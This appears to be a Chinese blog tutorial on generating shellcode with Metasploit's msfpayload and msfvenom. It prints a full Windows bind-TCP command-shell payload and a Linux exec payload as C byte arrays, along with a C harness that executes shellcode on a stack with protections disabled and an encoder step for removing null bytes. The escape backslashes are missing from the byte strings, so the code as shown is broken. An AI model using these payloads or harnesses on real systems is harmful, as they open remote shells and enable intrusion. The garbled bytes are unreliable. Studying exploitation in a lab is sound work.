基本的栈溢出搞明白了，真实攻击中一个很重要的问题是shellcode生成。
利用Metasploit提供的工具，可以方便的生成shellcode，然后可以使用第一篇中的代码进行验证。
先说一下如何生成shellcode（都是在bt5下生成）。
例子参考来源于：http://www.offensive-security.com/metasploit-unleashed/Msfpayload
查看可用payload：
root@kali:~# msfpayload -l Framework Payloads (251 total) ============================== Name Description ---- ----------- aix/ppc/shell_bind_tcp Listen for a connection and spawn a command shell aix/ppc/shell_find_port Spawn a shell on an established connection aix/ppc/shell_interact Simply execve /bin/sh (for inetd programs) aix/ppc/shell_reverse_tcp Connect back to attacker and spawn a command shell bsd/sparc/shell_bind_tcp Listen for a connection and spawn a command shell ...snip... ...snip... windows/x64/shell/bind_tcp Listen for a connection (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell/reverse_tcp Connect back to the attacker (Windows x64), Spawn a piped command shell (Windows x64) (staged) windows/x64/shell_bind_tcp Listen for a connection and spawn a command shell (Windows x64) windows/x64/shell_reverse_tcp Connect back to attacker and spawn a command shell (Windows x64) windows/x64/vncinject/bind_tcp Listen for a connection (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged) windows/x64/vncinject/reverse_tcp Connect back to the attacker (Windows x64), Inject a VNC Dll via a reflective loader (Windows x64) (staged)
查看具体payload参数配置：
root@kali:~# msfpayload windows/shell_bind_tcp o Name: Windows Command Shell, Bind TCP Inline Module: payload/windows/shell_bind_tcp Version: 14774 Platform: Windows Arch: x86 Needs Admin: No Total size: 341 Rank: Normal Provided by: vlad902 sf Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique: seh, thread, process, none LPORT 4444 yes The listen port RHOST no The target address Description: Listen for a connection and spawn a command shell
最后生成shellcode，以上面例子为例，生成c语言可用shellcode：
root@bt:~# msfpayload windows/shell_bind_tcp LPORT=7777 C /* * windows/shell_bind_tcp - 341 bytes * http://www.metasploit.com * VERBOSE=false, LPORT=7777, RHOST=, EXITFUNC=process, * InitialAutoRunScript=, AutoRunScript= */ unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30" "x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xff" "x31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2" "xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85" "xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3" "x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0d" "x01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58" "x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8b" "x04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xff" "xe0x58x5fx5ax8bx12xebx86x5dx68x33x32x00x00x68" "x77x73x32x5fx54x68x4cx77x26x07xffxd5xb8x90x01" "x00x00x29xc4x54x50x68x29x80x6bx00xffxd5x50x50" "x50x50x40x50x40x50x68xeax0fxdfxe0xffxd5x89xc7" "x31xdbx53x68x02x00x1ex61x89xe6x6ax10x56x57x68" "xc2xdbx37x67xffxd5x53x57x68xb7xe9x38xffxffxd5" "x53x53x57x68x74xecx3bxe1xffxd5x57x89xc7x68x75" "x6ex4dx61xffxd5x68x63x6dx64x00x89xe3x57x57x57" "x31xf6x6ax12x59x56xe2xfdx66xc7x44x24x3cx01x01" "x8dx44x24x10xc6x00x44x54x50x56x56x56x46x56x4e" "x56x56x53x56x68x79xccx3fx86xffxd5x89xe0x4ex56" "x46xffx30x68x08x87x1dx60xffxd5xbbxf0xb5xa2x56" "x68xa6x95xbdx9dxffxd5x3cx06x7cx0ax80xfbxe0x75" "x05xbbx47x13x72x6fx6ax00x53xffxd5";
当然我们实在linux环境下，需要生成的linux相关shellcode，那么我们以exec payload来生成shellcode：
root@bt:~# msfpayload linux/x86/exec CMD=ls C /* * linux/x86/exec - 38 bytes * http://www.metasploit.com * VERBOSE=false, PrependSetresuid=false, * PrependSetreuid=false, PrependSetuid=false, * PrependChrootBreak=false, AppendExit=false, CMD=ls */ unsigned char buf[] = "x6ax0bx58x99x52x66x68x2dx63x89xe7x68x2fx73x68" "x00x68x2fx62x69x6ex89xe3x52xe8x03x00x00x00x6c" "x73x00x57x53x89xe1xcdx80";
好，现在我们就可以在上一节的shell.c中进行验证
1 #include<unistd.h> 2 3 unsigned char large_string[128]; 4 /* 5 * linux/x86/exec - 38 bytes 6 * http://www.metasploit.com 7 * VERBOSE=false, PrependSetresuid=false, 8 * PrependSetreuid=false, PrependSetuid=false, 9 * PrependChrootBreak=false, AppendExit=false, CMD=ls 10 */ 11 unsigned char shellcode[] = 12 "x6ax0bx58x99x52x66x68x2dx63x89xe7x68x2fx73x68" 13 "x00x68x2fx62x69x6ex89xe3x52xe8x03x00x00x00x6c" 14 "x73x00x57x53x89xe1xcdx80"; 15 16 void main() { 17 char buffer[96]; 18 int i; 19 long *long_ptr = (long *) large_string; 20 for (i = 0; i < sizeof(large_string)/sizeof(int); i++) 21 *(long_ptr + i) = (int) buffer; 22 23 for (i = 0; i < sizeof(shellcode); i++) 24 large_string[i] = shellcode[i]; 25 memcpy(buffer,large_string,sizeof(large_string)); 26 }
请注意25行，我使用了memcpy替换了strcpy，因为生成的shellcode中有不少00.
同样使用命令编译生成验证：
bai@ubuntu:/mnt/hgfs/r/stack$ gcc -fno-stack-protector -z execstack -g -o shell shell.c bai@ubuntu:/mnt/hgfs/r/stack$ ./shell
关于如何避免shellcode中包含00,可以使用msfvenom，还以上面的例子为例：
root@bt:~# msfvenom -p linux/x86/exec CMD=ls -e x86/shikata_ga_nai -b 'x00' -f c [*] x86/shikata_ga_nai succeeded with size 65 (iteration=1) unsigned char buf[] = "xdbxd6xd9x74x24xf4xbbxe3xa4x6bx7ex58x2bxc9xb1" "x0ax83xc0x04x31x58x15x03x58x15x01x51x01x75x9d" "x03x84xefx75x19x4ax79x62x09xa3x0ax04xcaxd3xc3" "xb6xa3x4dx95xd5x66x7axa6x19x87x7axc5x6ax87x2d" "x46x05x66x1cxe8";
但是有个问题，生成的shellcode无法利用，会把illegal instruction，引起core dump，不明原因。